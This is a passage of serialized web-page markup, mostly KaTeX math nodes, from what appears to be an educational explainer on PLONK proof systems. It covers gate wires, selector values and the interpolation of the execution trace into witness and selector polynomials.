",{"type":23,"tag":94,"props":141437,"children":141439},{"className":141438},[3237,3238],[141440],{"type":23,"tag":314,"props":141441,"children":141443},{"className":141442},[3243],[141444],{"type":23,"tag":314,"props":141445,"children":141447},{"className":141446,"ariaHidden":1481},[3248],[141448],{"type":23,"tag":314,"props":141449,"children":141451},{"className":141450},[3253],[141452,141457],{"type":23,"tag":314,"props":141453,"children":141456},{"className":141454,"style":141455},[3258],"height:0.8389em;vertical-align:-0.15em;",[],{"type":23,"tag":314,"props":141458,"children":141460},{"className":141459},[3264],[141461,141466],{"type":23,"tag":314,"props":141462,"children":141464},{"className":141463},[3264,121074],[141465],{"type":28,"value":121077},{"type":23,"tag":314,"props":141467,"children":141469},{"className":141468},[3280],[141470],{"type":23,"tag":314,"props":141471,"children":141473},{"className":141472},[3285,20879],[141474,141508],{"type":23,"tag":314,"props":141475,"children":141477},{"className":141476},[3290],[141478,141503],{"type":23,"tag":314,"props":141479,"children":141481},{"className":141480,"style":92351},[3295],[141482],{"type":23,"tag":314,"props":141483,"children":141484},{"style":92355},[141485,141489],{"type":23,"tag":314,"props":141486,"children":141488},{"className":141487,"style":3305},[3304],[],{"type":23,"tag":314,"props":141490,"children":141492},{"className":141491},[3310,3311,3312,3313],[141493],{"type":23,"tag":314,"props":141494,"children":141496},{"className":141495},[3264,3313],[141497],{"type":23,"tag":314,"props":141498,"children":141500},{"className":141499},[3264,3313],[141501],{"type":28,"value":141502},"37",{"type":23,"tag":314,"props":141504,"children":141506},{"className":141505},[20982],[141507],{"type":28,"value":20985},{"type":23,"tag":314,"props":141509,"children":141511},{"className":141510},[3290],[141512],{"type":23,"tag":314,"props":141513,"children":141515},{"className":141514,"style":92382},[3295],[141516],{"type":23,"tag":314,"props":141517,"children":141518},{},[],{"type":28,"value":282},{"type":23,"tag":141521,"props":141522,"children":141523},"arithmetic-circuit-widget",{},[],{"type":23,"tag":24,"props":141525,"children":141526},{},[141527,141529,141555,141557,141636,141638,141715,141717,141794],{"type":28,"value":141528},"Each gate ",{"type":23,"tag":94,"props":141530,"children":141532},{"className":141531},[3237,3238],[141533],{"type":23,"tag":314,"props":141534,"children":141536},{"className":141535},[3243],[141537],{"type":23,"tag":314,"props":141538,"children":141540},{"className":141539,"ariaHidden":1481},[3248],[141541],{"type":23,"tag":314,"props":141542,"children":141544},{"className":141543},[3253],[141545,141550],{"type":23,"tag":314,"props":141546,"children":141549},{"className":141547,"style":141548},[3258],"height:0.6595em;",[],{"type":23,"tag":314,"props":141551,"children":141553},{"className":141552},[3264,20825],[141554],{"type":28,"value":2993},{"type":28,"value":141556}," has a left input ",{"type":23,"tag":94,"props":141558,"children":141560},{"className":141559},[3237,3238],[141561],{"type":23,"tag":314,"props":141562,"children":141564},{"className":141563},[3243],[141565],{"type":23,"tag":314,"props":141566,"children":141568},{"className":141567,"ariaHidden":1481},[3248],[141569],{"type":23,"tag":314,"props":141570,"children":141572},{"className":141571},[3253],[141573,141578],{"type":23,"tag":314,"props":141574,"children":141577},{"className":141575,"style":141576},[3258],"height:0.8444em;vertical-align:-0.15em;",[],{"type":23,"tag":314,"props":141579,"children":141581},{"className":141580},[3264],[141582,141587],{"type":23,"tag":314,"props":141583,"children":141585},{"className":141584,"style":92311},[3264,20825],[141586],{"type":28,"value":92314},{"type":23,"tag":314,"props":141588,"children":141590},{"className":141589},[3280],[141591],{"type":23,"tag":314,"props":141592,"children":141594},{"className":141593},[3285,20879],[141595,141625],{"type":23,"tag":314,"props":141596,"children":141598},{"className":141597},[3290],[141599,141620],{"type":23,"tag":314,"props":141600,"children":141602},{"className":141601,"style":92828},[3295],[141603],{"type":23,"tag":314,"props":141604,"children":141606},{"style":141605},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[141607,141611],{"type":23,"tag":314,"props":141608,"children":141610},{"className":141609,"style":3305},[3304],[],{"type":23,"tag":314,"props":141612,"children":141614},{"className":141613},[3310,3311,3312,3313],[141615],{"type":23,"tag":314,"props":141616,"children":141618},{"className":141617},[3264,20825,3313],[141619],{"type":28,"value":2993},{"type":23,"tag":314,"props":141621,"children":141623},{"className":141622},[20982],[141624],{"type":28,"value":20985},{"type":23,"tag":314,"props":141626,"children":141628},{"className":141627},[3290],[141629],{"type":23,"tag":314,"props":141630,"children":141632},{"className":141631,"style":92382},[3295],[141633],{"type":23,"tag":314,"props":141634,"children":141635},{},[],{"type":28,"value":141637},", right input ",{"type":23,"tag":94,"props":141639,"children":141641},{"className":141640},[3237,3238],[141642],{"type":23,"tag":314,"props":141643,"children":141645},{"className":141644},[3243],[141646],{"type":23,"tag":314,"props":141647,"children":141649},{"className":141648,"ariaHidden":1481},[3248],[141650],{"type":23,"tag":314,"props":141651,"children":141653},{"className":141652},[3253],[141654,141658],{"type":23,"tag":314,"props":141655,"children":141657},{"className":141656,"style":109269},[3258],[],{"type":23,"tag":314,"props":141659,"children":141661},{"className":141660},[3264],[141662,141667],{"type":23,"tag":314,"props":141663,"children":141665},{"className":141664,"style":92299},[3264,20825],[141666],{"type":28,"value":93118},{"type":23,"tag":314,"props":141668,"children":141670},{"className":141669},[3280],[141671],{"type":23,"tag":314,"props":141672,"children":141674},{"className":141673},[3285,20879],[141675,141704],{"type":23,"tag":314,"props":141676,"children":141678},{"className":141677},[3290],[141679,141699],{"type":23,"tag":314,"props":141680,"children":141682},{"className":141681,"style":92828},[3295],[141683],{"type":23,"tag":314,"props":141684,"children":141685},{"style":109298},[141686,141690],{"type":23,"tag":314,"props":141687,"children":141689},{"className":141688,"style":3305},[3304],[],{"type":23,"tag":314,"props":141691,"children":141693},{"className":141692},[3310,3311,3312,3313],[141694],{"type":23,"tag":314,"props":141695,"children":141697},{"className":141696},[3264,20825,3313],[141698],{"type":28,"value":2993},{"type":23,"tag":314,"props":141700,"children":141702},{"className":141701},[20982],[141703],{"type":28,"value":20985},{"type":23,"tag":314,"props":141705,"children":141707},{"className":141706},[3290],[141708],{"type":23,"tag":314,"props":141709,"children":141711},{"className":141710,"style":92382},[3295],[141712],{"type":23,"tag":314,"props":141713,"children":141714},{},[],{"type":28,"value":141716},", and output ",{"type":23,"tag":94,"props":141718,"children":141720},{"className":141719},[3237,3238],[141721],{"type":23,"tag":314,"props":141722,"children":141724},{"className":141723},[3243],[141725],{"type":23,"tag":314,"props":141726,"children":141728},{"className":141727,"ariaHidden":1481},[3248],[141729],{"type":23,"tag":314,"props":141730,"children":141732},{"className":141731},[3253],[141733,141737],{"type":23,"tag":314,"props":141734,"children":141736},{"className":141735,"style":109269},[3258],[],{"type":23,"tag":314,"props":141738,"children":141740},{"className":141739},[3264],[141741,141746],{"type":23,"tag":314,"props":141742,"children":141744},{"className":141743},[3264,20825],[141745],{"type":28,"value":92269},{"type":23,"tag":314,"props":141747,"children":141749},{"className":141748},[3280],[141750],{"type":23,"tag":314,"props":141751,"children":141753},{"className":141752},[3285,20879],[141754,141783],{"type":23,"tag":314,"props":141755,"children":141757},{"className":141756},[3290],[141758,141778],{"type":23,"tag":314,"props":141759,"children":141761},{"className":141760,"style":92828},[3295],[141762],{"type":23,"tag":314,"props":141763,"children":141764},{"style":92355},[141765,141769],{"type":23,"tag":314,"props":141766,"children":141768},{"className":141767,"style":3305},[3304],[],{"type":23,"tag":314,"props":141770,"children":141772},{"className":141771},[3310,3311,3312,3313],[141773],{"type":23,"tag":314,"props":141774,"children":141776},{"className":141775},[3264,20825,3313],[141777],{"type":28,"value":2993},{"type":23,"tag":314,"props":141779,"children":141781},{"className":141780},[20982],[141782],{"type":28,"value":20985},{"type":23,"tag":314,"props":141784,"children":141786},{"className":141785},[3290],[141787],{"type":23,"tag":314,"props":141788,"children":141790},{"className":141789,"style":92382},[3295],[141791],{"type":23,"tag":314,"props":141792,"children":141793},{},[],{"type":28,"value":141795},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":23,"tag":24,"props":141797,"children":141798},{},[141799,141801,141806,141808,141912,141914,142017,142019,142024],{"type":28,"value":141800},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":23,"tag":186,"props":141802,"children":141803},{},[141804],{"type":28,"value":141805},"selector",{"type":28,"value":141807}," values that act as switches: setting ",{"type":23,"tag":94,"props":141809,"children":141811},{"className":141810},[3237,3238],[141812],{"type":23,"tag":314,"props":141813,"children":141815},{"className":141814},[3243],[141816],{"type":23,"tag":314,"props":141817,"children":141819},{"className":141818,"ariaHidden":1481},[3248],[141820,141899],{"type":23,"tag":314,"props":141821,"children":141823},{"className":141822},[3253],[141824,141828,141886,141890,141895],{"type":23,"tag":314,"props":141825,"children":141827},{"className":141826,"style":109189},[3258],[],{"type":23,"tag":314,"props":141829,"children":141831},{"className":141830},[3264],[141832,141837],{"type":23,"tag":314,"props":141833,"children":141835},{"className":141834,"style":92785},[3264,20825],[141836],{"type":28,"value":92788},{"type":23,"tag":314,"props":141838,"children":141840},{"className":141839},[3280],[141841],{"type":23,"tag":314,"props":141842,"children":141844},{"className":141843},[3285,20879],[141845,141875],{"type":23,"tag":314,"props":141846,"children":141848},{"className":141847},[3290],[141849,141870],{"type":23,"tag":314,"props":141850,"children":141853},{"className":141851,"style":141852},[3295],"height:0.3283em;",[141854],{"type":23,"tag":314,"props":141855,"children":141856},{"style":92832},[141857,141861],{"type":23,"tag":314,"props":141858,"children":141860},{"className":141859,"style":3305},[3304],[],{"type":23,"tag":314,"props":141862,"children":141864},{"className":141863},[3310,3311,3312,3313],[141865],{"type":23,"tag":314,"props":141866,"children":141868},{"className":141867,"style":94307},[3264,20825,3313],[141869],{"type":28,"value":94310},{"type":23,"tag":314,"props":141871,"children":141873},{"className":141872},[20982],[141874],{"type":28,"value":20985},{"type":23,"tag":314,"props":141876,"children":141878},{"className":141877},[3290],[141879],{"type":23,"tag":314,"props":141880,"children":141882},{"className":141881,"style":92382},[3295],[141883],{"type":23,"tag":314,"props":141884,"children":141885},{},[],{"type":23,"tag":314,"props":141887,"children":141889},{"className":141888,"style":3442},[3344],[],{"type":23,"tag":314,"props":141891,"children":141893},{"className":141892},[3447],[141894],{"type":28,"value":1102},{"type":23,"tag":314,"props":141896,"children":141898},{"className":141897,"style":3442},[3344],[],{"type":23,"tag":314,"props":141900,"children":141902},{"className":141901},[3253],[141903,141907],{"type":23,"tag":314,"props":141904,"children":141906},{"className":141905,"style":93330},[3258],[],{"type":23,"tag":314,"props":141908,"children":141910},{"className":141909},[3264],[141911],{"type":28,"value":3267},{"type":28,"value":141913}," makes a row a multiplication gate, setting ",{"type":23,"tag":94,"props":141915,"children":141917},{"className":141916},[3237,3238],[141918],{"type":23,"tag":314,"props":141919,"children":141921},{"className":141920},[3243],[141922],{"type":23,"tag":314,"props":141923,"children":141925},{"className":141924,"ariaHidden":1481},[3248],[141926,142004],{"type":23,"tag":314,"props":141927,"children":141929},{"className":141928},[3253],[141930,141934,141991,141995,142000],{"type":23,"tag":314,"props":141931,"children":141933},{"className":141932,"style":109189},[3258],[],{"type":23,"tag":314,"props":141935,"children":141937},{"className":141936},[3264],[141938,141943],{"type":23,"tag":314,"props":141939,"children":141941},{"className":141940,"style":92785},[3264,20825],[141942],{"type":28,"value":92788},{"type":23,"tag":314,"props":141944,"children":141946},{"className":141945},[3280],[141947],{"type":23,"tag":314,"props":141948,"children":141950},{"className":141949},[3285,20879],[141951,141980],{"type":23,"tag":314,"props":141952,"children":141954},{"className":141953},[3290],[141955,141975],{"type":23,"tag":314,"props":141956,"children":141958},{"className":141957,"style":141852},[3295],[141959],{"type":23,"tag":314,"props":141960,"children":141961},{"style":92832},[141962,141966],{"type":23,"tag":314,"props":141963,"children":141965},{"className":141964,"style":3305},[3304],[],{"type":23,"tag":314,"props":141967,"children":141969},{"className":141968},[3310,3311,3312,3313],[141970],{"type":23,"tag":314,"props":141971,"children":141973},{"className":141972},[3264,20825,3313],[141974],{"type":28,"value":117263},{"type":23,"tag":314,"props":141976,"children":141978},{"className":141977},[20982],[141979],{"type":28,"value":20985},{"type":23,"tag":314,"props":141981,"children":141983},{"className":141982},[3290],[141984],{"type":23,"tag":314,"props":141985,"children":141987},{"className":141986,"style":92382},[3295],[141988],{"type":23,"tag":314,"props":141989,"children":141990},{},[],{"type":23,"tag":314,"props":141992,"children":141994},{"className":141993,"style":3442},[3344],[],{"type":23,"tag":314,"props":141996,"children":141998},{"className":141997},[3447],[141999],{"type":28,"value":1102},{"type":23,"tag":314,"props":142001,"children":142003},{"className":142002,"style":3442},[3344],[],{"type":23,"tag":314,"props":142005,"children":142007},{"className":142006},[3253],[142008,142012],{"type":23,"tag":314,"props":142009,"children":142011},{"className":142010,"style":93330},[3258],[],{"type":23,"tag":314,"props":142013,"children":142015},{"className":142014},[3264],[142016],{"type":28,"value":3267},{"type":28,"value":142018}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":23,"tag":186,"props":142020,"children":142021},{},[142022],{"type":28,"value":142023},"permutation argument",{"type":28,"value":142025}," for that, which we will not cover here.",{"type":23,"tag":837,"props":142027,"children":142029},{"id":142028},"from-many-checks-to-one",[142030],{"type":28,"value":142031},"From many checks to one",{"type":23,"tag":24,"props":142033,"children":142034},{},[142035,142037,142042,142043,142135,142136,142228,142229,142321,142323,142328,142329,142421,142422,142514,142516,142541,142543,142568,142570,142662,142664,142689,142691,142716],{"type":28,"value":142036},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":23,"tag":186,"props":142038,"children":142039},{},[142040],{"type":28,"value":142041},"witness polynomials",{"type":28,"value":5713},{"type":23,"tag":94,"props":142044,"children":142046},{"className":142045},[3237,3238],[142047],{"type":23,"tag":314,"props":142048,"children":142050},{"className":142049},[3243],[142051],{"type":23,"tag":314,"props":142052,"children":142054},{"className":142053,"ariaHidden":1481},[3248],[142055],{"type":23,"tag":314,"props":142056,"children":142058},{"className":142057},[3253],[142059,142063,142120,142125,142130],{"type":23,"tag":314,"props":142060,"children":142062},{"className":142061,"style":3365},[3258],[],{"type":23,"tag":314,"props":142064,"children":142066},{"className":142065},[3264],[142067,142072],{"type":23,"tag":314,"props":142068,"children":142070},{"className":142069,"style":94653},[3264,20825],[142071],{"type":28,"value":32333},{"type":23,"tag":314,"props":142073,"children":142075},{"className":142074},[3280],[142076],{"type":23,"tag":314,"props":142077,"children":142079},{"className":142078},[3285,20879],[142080,142109],{"type":23,"tag":314,"props":142081,"children":142083},{"className":142082},[3290],[142084,142104],{"type":23,"tag":314,"props":142085,"children":142087},{"className":142086,"style":141852},[3295],[142088],{"type":23,"tag":314,"props":142089,"children":142090},{"style":94674},[142091,142095],{"type":23,"tag":314,"props":142092,"children":142094},{"className":142093,"style":3305},[3304],[],{"type":23,"tag":314,"props":142096,"children":142098},{"className":142097},[3310,3311,3312,3313],[142099],{"type":23,"tag":314,"props":142100,"children":142102},{"className":142101},[3264,20825,3313],[142103],{"type":28,"value":117263},{"type":23,"tag":314,"props":142105,"children":142107},{"className":142106},[20982],[142108],{"type":28,"value":20985},{"type":23,"tag":314,"props":142110,"children":142112},{"className":142111},[3290],[142113],{"type":23,"tag":314,"props":142114,"children":142116},{"className":142115,"style":92382},[3295],[142117],{"type":23,"tag":314,"props":142118,"children":142119},{},[],{"type":23,"tag":314,"props":142121,"children":142123},{"className":142122},[20954],[142124],{"type":28,"value":341},{"type":23,"tag":314,"props":142126,"children":142128},{"className":142127},[3264,20825],[142129],{"type":28,"value":18514},{"type":23,"tag":314,"props":142131,"children":142133},{"className":142132},[20976],[142134],{"type":28,"value":431},{"type":28,"value":778},{"type":23,"tag":94,"props":142137,"children":142139},{"className":142138},[3237,3238],[142140],{"type":23,"tag":314,"props":142141,"children":142143},{"className":142142},[3243],[142144],{"type":23,"tag":314,"props":142145,"children":142147},{"className":142146,"ariaHidden":1481},[3248],[142148],{"type":23,"tag":314,"props":142149,"children":142151},{"className":142150},[3253],[142152,142156,142213,142218,142223],{"type":23,"tag":314,"props":142153,"children":142155},{"className":142154,"style":3365},[3258],[],{"type":23,"tag":314,"props":142157,"children":142159},{"className":142158},[3264],[142160,142165],{"type":23,"tag":314,"props":142161,"children":142163},{"className":142162,"style":94653},[3264,20825],[142164],{"type":28,"value":32333},{"type":23,"tag":314,"props":142166,"children":142168},{"className":142167},[3280],[142169],{"type":23,"tag":314,"props":142170,"children":142172},{"className":142171},[3285,20879],[142173,142202],{"type":23,"tag":314,"props":142174,"children":142176},{"className":142175},[3290],[142177,142197],{"type":23,"tag":314,"props":142178,"children":142180},{"className":142179,"style":141852},[3295],[142181],{"type":23,"tag":314,"props":142182,"children":142183},{"style":94674},[142184,142188],{"type":23,"tag":314,"props":142185,"children":142187},{"className":142186,"style":3305},[3304],[],{"type":23,"tag":314,"props":142189,"children":142191},{"className":142190},[3310,3311,3312,3313],[142192],{"type":23,"tag":314,"props":142193,"children":142195},{"className":142194,"style":122076},[3264,20825,3313],[142196],{"type":28,"value":122079},{"type":23,"tag":314,"props":142198,"children":142200},{"className":142199},[20982],[142201],{"type":28,"value":20985},{"type":23,"tag":314,"props":142203,"children":142205},{"className":142204},[3290],[142206],{"type":23,"tag":314,"props":142207,"children":142209},{"className":142208,"style":92382},[3295],[142210],{"type":23,"tag":314,"props":142211,"children":142212},{},[],{"type":23,"tag":314,"props":142214,"children":142216},{"className":142215},[20954],[142217],{"type":28,"value":341},{"type":23,"tag":314,"props":142219,"children":142221},{"className":142220},[3264,20825],[142222],{"type":28,"value":18514},{"type":23,"tag":314,"props":142224,"children":142226},{"className":142225},[20976],[142227],{"type":28,"value":431},{"type":28,"value":778},{"type":23,"tag":94,"props":142230,"children":142232},{"className":142231},[3237,3238],[142233],{"type":23,"tag":314,"props":142234,"children":142236},{"className":142235},[3243],[142237],{"type":23,"tag":314,"props":142238,"children":142240},{"className":142239,"ariaHidden":1481},[3248],[142241],{"type":23,"tag":314,"props":142242,"children":142244},{"className":142243},[3253],[142245,142249,142306,142311,142316],{"type":23,"tag":314,"props":142246,"children":142248},{"className":142247,"style":3365},[3258],[],{"type":23,"tag":314,"props":142250,"children":142252},{"className":142251},[3264],[142253,142258],{"type":23,"tag":314,"props":142254,"children":142256},{"className":142255,"style":94653},[3264,20825],[142257],{"type":28,"value":32333},{"type":23,"tag":314,"props":142259,"children":142261},{"className":142260},[3280],[142262],{"type":23,"tag":314,"props":142263,"children":142265},{"className":142264},[3285,20879],[142266,142295],{"type":23,"tag":314,"props":142267,"children":142269},{"className":142268},[3290],[142270,142290],{"type":23,"tag":314,"props":142271,"children":142273},{"className":142272,"style":141852},[3295],[142274],{"type":23,"tag":314,"props":142275,"children":142276},{"style":94674},[142277,142281],{"type":23,"tag":314,"props":142278,"children":142280},{"className":142279,"style":3305},[3304],[],{"type":23,"tag":314,"props":142282,"children":142284},{"className":142283},[3310,3311,3312,3313],[142285],{"type":23,"tag":314,"props":142286,"children":142288},{"className":142287,"style":92299},[3264,20825,3313],[142289],{"type":28,"value":114618},{"type":23,"tag":314,"props":142291,"children":142293},{"className":142292},[20982],[142294],{"type":28,"value":20985},{"type":23,"tag":314,"props":142296,"children":142298},{"className":142297},[3290],[142299],{"type":23,"tag":314,"props":142300,"children":142302},{"className":142301,"style":92382},[3295],[142303],{"type":23,"tag":314,"props":142304,"children":142305},{},[],{"type":23,"tag":314,"props":142307,"children":142309},{"className":142308},[20954],[142310],{"type":28,"value":341},{"type":23,"tag":314,"props":142312,"children":142314},{"className":142313},[3264,20825],[142315],{"type":28,"value":18514},{"type":23,"tag":314,"props":142317,"children":142319},{"className":142318},[20976],[142320],{"type":28,"value":431},{"type":28,"value":142322}," and the selectors become ",{"type":23,"tag":186,"props":142324,"children":142325},{},[142326],{"type":28,"value":142327},"selector polynomials",{"type":28,"value":5713},{"type":23,"tag":94,"props":142330,"children":142332},{"className":142331},[3237,3238],[142333],{"type":23,"tag":314,"props":142334,"children":142336},{"className":142335},[3243],[142337],{"type":23,"tag":314,"props":142338,"children":142340},{"className":142339,"ariaHidden":1481},[3248],[142341],{"type":23,"tag":314,"props":142342,"children":142344},{"className":142343},[3253],[142345,142349,142406,142411,142416],{"type":23,"tag":314,"props":142346,"children":142348},{"className":142347,"style":3365},[3258],[],{"type":23,"tag":314,"props":142350,"children":142352},{"className":142351},[3264],[142353,142358],{"type":23,"tag":314,"props":142354,"children":142356},{"className":142355},[3264,20825],[142357],{"type":28,"value":76054},{"type":23,"tag":314,"props":142359,"children":142361},{"className":142360},[3280],[142362],{"type":23,"tag":314,"props":142363,"children":142365},{"className":142364},[3285,20879],[142366,142395],{"type":23,"tag":314,"props":142367,"children":142369},{"className":142368},[3290],[142370,142390],{"type":23,"tag":314,"props":142371,"children":142373},{"className":142372,"style":141852},[3295],[142374],{"type":23,"tag":314,"props":142375,"children":142376},{"style":92355},[142377,142381],{"type":23,"tag":314,"props":142378,"children":142380},{"className":142379,"style":3305},[3304],[],{"type":23,"tag":314,"props":142382,"children":142384},{"className":142383},[3310,3311,3312,3313],[142385],{"type":23,"tag":314,"props":142386,"children":142388},{"className":142387,"style":94307},[3264,20825,3313],[142389],{"type":28,"value":94310},{"type":23,"tag":314,"props":142391,"children":142393},{"className":142392},[20982],[142394],{"type":28,"value":20985},{"type":23,"tag":314,"props":142396,"children":142398},{"className":142397},[3290],[142399],{"type":23,"tag":314,"props":142400,"children":142402},{"className":142401,"style":92382},[3295],[142403],{"type":23,"tag":314,"props":142404,"children":142405},{},[],{"type":23,"tag":314,"props":142407,"children":142409},{"className":142408},[20954],[142410],{"type":28,"value":341},{"type":23,"tag":314,"props":142412,"children":142414},{"className":142413},[3264,20825],[142415],{"type":28,"value":18514},{"type":23,"tag":314,"props":142417,"children":142419},{"className":142418},[20976],[142420],{"type":28,"value":431},{"type":28,"value":778},{"type":23,"tag":94,"props":142423,"children":142425},{"className":142424},[3237,3238],[142426],{"type":23,"tag":314,"props":142427,"children":142429},{"className":142428},[3243],[142430],{"type":23,"tag":314,"props":142431,"children":142433},{"className":142432,"ariaHidden":1481},[3248],[142434],{"type":23,"tag":314,"props":142435,"children":142437},{"className":142436},[3253],[142438,142442,142499,142504,142509],{"type":23,"tag":314,"props":142439,"children":142441},{"className":142440,"style":3365},[3258],[],{"type":23,"tag":314,"props":142443,"children":142445},{"className":142444},[3264],[142446,142451],{"type":23,"tag":314,"props":142447,"children":142449},{"className":142448},[3264,20825],[142450],{"type":28,"value":76054},{"type":23,"tag":314,"props":142452,"children":142454},{"className":142453},[3280],[142455],{"type":23,"tag":314,"props":142456,"children":142458},{"className":142457},[3285,20879],[142459,142488],{"type":23,"tag":314,"props":142460,"children":142462},{"className":142461},[3290],[142463,142483],{"type":23,"tag":314,"props":142464,"children":142466},{"className":142465,"style":141852},[3295],[142467],{"type":23,"tag":314,"props":142468,"children":142469},{"style":92355},[142470,142474],{"type":23,"tag":314,"props":142471,"children":142473},{"className":142472,"style":3305},[3304],[],{"type":23,"tag":314,"props":142475,"children":142477},{"className":142476},[3310,3311,3312,3313],[142478],{"type":23,"tag":314,"props":142479,"children":142481},{"className":142480},[3264,20825,3313],[142482],{"type":28,"value":117263},{"type":23,"tag":314,"props":142484,"children":142486},{"className":142485},[20982],[142487],{"type":28,"value":20985},{"type":23,"tag":314,"props":142489,"children":142491},{"className":142490},[3290],[142492],{"type":23,"tag":314,"props":142493,"children":142495},{"className":142494,"style":92382},[3295],[142496],{"type":23,"tag":314,"props":142497,"children":142498},{},[],{"type":23,"tag":314,"props":142500,"children":142502},{"className":142501},[20954],[142503],{"type":28,"value":341},{"type":23,"tag":314,"props":142505,"children":142507},{"className":142506},[3264,20825],[142508],{"type":28,"value":18514},{"type":23,"tag":314,"props":142510,"children":142512},{"className":142511},[20976],[142513],{"type":28,"value":431},{"type":28,"value":142515},", etc., all interpolated over a domain ",{"type":23,"tag":94,"props":142517,"children":142519},{"className":142518},[3237,3238],[142520],{"type":23,"tag":314,"props":142521,"children":142523},{"className":142522},[3243],[142524],{"type":23,"tag":314,"props":142525,"children":142527},{"className":142526,"ariaHidden":1481},[3248],[142528],{"type":23,"tag":314,"props":142529,"children":142531},{"className":142530},[3253],[142532,142536],{"type":23,"tag":314,"props":142533,"children":142535},{"className":142534,"style":20820},[3258],[],{"type":23,"tag":314,"props":142537,"children":142539},{"className":142538,"style":92533},[3264,20825],[142540],{"type":28,"value":92536},{"type":28,"value":142542}," of ",{"type":23,"tag":94,"props":142544,"children":142546},{"className":142545},[3237,3238],[142547],{"type":23,"tag":314,"props":142548,"children":142550},{"className":142549},[3243],[142551],{"type":23,"tag":314,"props":142552,"children":142554},{"className":142553,"ariaHidden":1481},[3248],[142555],{"type":23,"tag":314,"props":142556,"children":142558},{"className":142557},[3253],[142559,142563],{"type":23,"tag":314,"props":142560,"children":142562},{"className":142561,"style":110140},[3258],[],{"type":23,"tag":314,"props":142564,"children":142566},{"className":142565},[3264,20825],[142567],{"type":28,"value":55654},{"type":28,"value":142569},"-th roots of unity. Evaluating ",{"type":23,"tag":94,"props":142571,"children":142573},{"className":142572},[3237,3238],[142574],{"type":23,"tag":314,"props":142575,"children":142577},{"className":142576},[3243],[142578],{"type":23,"tag":314,"props":142579,"children":142581},{"className":142580,"ariaHidden":1481},[3248],[142582],{"type":23,"tag":314,"props":142583,"children":142585},{"className":142584},[3253],[142586,142590,142647,142652,142657],{"type":23,"tag":314,"props":142587,"children":142589},{"className":142588,"style":3365},[3258],[],{"type":23,"tag":314,"props":142591,"children":142593},{"className":142592},[3264],[142594,142599],{"type":23,"tag":314,"props":142595,"children":142597},{"className":142596,"style":94653},[3264,20825],[142598],{"type":28,"value":32333},{"type":23,"tag":314,"props":142600,"children":142602},{"className":142601},[3280],[142603],{"type":23,"tag":314,"props":142604,"children":142606},{"className":142605},[3285,20879],[142607,142636],{"type":23,"tag":314,"props":142608,"children":142610},{"className":142609},[3290],[142611,142631],{"type":23,"tag":314,"props":142612,"children":142614},{"className":142613,"style":141852},[3295],[142615],{"type":23,"tag":314,"props":142616,"children":142617},{"style":94674},[142618,142622],{"type":23,"tag":314,"props":142619,"children":142621},{"className":142620,"style":3305},[3304],[],{"type":23,"tag":314,"props":142623,"children":142625},{"className":142624},[3310,3311,3312,3313],[142626],{"type":23,"tag":314,"props":142627,"children":142629},{"className":142628},[3264,20825,3313],[142630],{"type":28,"value":117263},{"type":23,"tag":314,"props":142632,"children":142634},{"className":142633},[20982],[142635],{"type":28,"value":20985},{"type":23,"tag":314,"props":142637,"children":142639},{"className":142638},[3290],[142640],{"type":23,"tag":314,"props":142641,"children":142643},{"className":142642,"style":92382},[3295],[142644],{"type":23,"tag":314,"props":142645,"children":142646},{},[],{"type":23,"tag":314,"props":142648,"children":142650},{"className":142649},[20954],[142651],{"type":28,"value":341},{"type":23,"tag":314,"props":142653,"children":142655},{"className":142654},[3264,20825],[142656],{"type":28,"value":18514},{"type":23,"tag":314,"props":142658,"children":142660},{"className":142659},[20976],[142661],{"type":28,"value":431},{"type":28,"value":142663}," at the ",{"type":23,"tag":94,"props":142665,"children":142667},{"className":142666},[3237,3238],[142668],{"type":23,"tag":314,"props":142669,"children":142671},{"className":142670},[3243],[142672],{"type":23,"tag":314,"props":142673,"children":142675},{"className":142674,"ariaHidden":1481},[3248],[142676],{"type":23,"tag":314,"props":142677,"children":142679},{"className":142678},[3253],[142680,142684],{"type":23,"tag":314,"props":142681,"children":142683},{"className":142682,"style":141548},[3258],[],{"type":23,"tag":314,"props":142685,"children":142687},{"className":142686},[3264,20825],[142688],{"type":28,"value":2993},{"type":28,"value":142690},"-th root recovers the left wire value at row ",{"type":23,"tag":94,"props":142692,"children":142694},{"className":142693},[3237,3238],[142695],{"type":23,"tag":314,"props":142696,"children":142698},{"className":142697},[3243],[142699],{"type":23,"tag":314,"props":142700,"children":142702},{"className":142701,"ariaHidden":1481},[3248],[142703],{"type":23,"tag":314,"props":142704,"children":142706},{"className":142705},[3253],[142707,142711],{"type":23,"tag":314,"props":142708,"children":142710},{"className":142709,"style":141548},[3258],[],{"type":23,"tag":314,"props":142712,"children":142714},{"className":142713},[3264,20825],[142715],{"type":28,"value":2993},{"type":28,"value":282},{"type":23,"tag":142718,"props":142719,"children":142720},"polynomial-interpolation-panel",{},[],{"type":23,"tag":24,"props":142722,"children":142723},{},[142724,142726,142766,142768,142834,142836,142966,142968,143008,143010,143050,143052,143092,143093,143215],{"type":28,"value":142725},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":23,"tag":94,"props":142727,"children":142729},{"className":142728},[3237,3238],[142730],{"type":23,"tag":314,"props":142731,"children":142733},{"className":142732},[3243],[142734],{"type":23,"tag":314,"props":142735,"children":142737},{"className":142736,"ariaHidden":1481},[3248],[142738],{"type":23,"tag":314,"props":142739,"children":142741},{"className":142740},[3253],[142742,142746,142751,142756,142761],{"type":23,"tag":314,"props":142743,"children":142745},{"className":142744,"style":3365},[3258],[],{"type":23,"tag":314,"props":142747,"children":142749},{"className":142748,"style":20826},[3264,20825],[142750],{"type":28,"value":121077},{"type":23,"tag":314,"props":142752,"children":142754},{"className":142753},[20954],[142755],{"type":28,"value":341},{"type":23,"tag":314,"props":142757,"children":142759},{"className":142758},[3264,20825],[142760],{"type":28,"value":18514},{"type":23,"tag":314,"props":142762,"children":142764},{"className":142763},[20976],[142765],{"type":28,"value":431},{"type":28,"value":142767}," that combines selectors and witnesses. If the prover was honest, 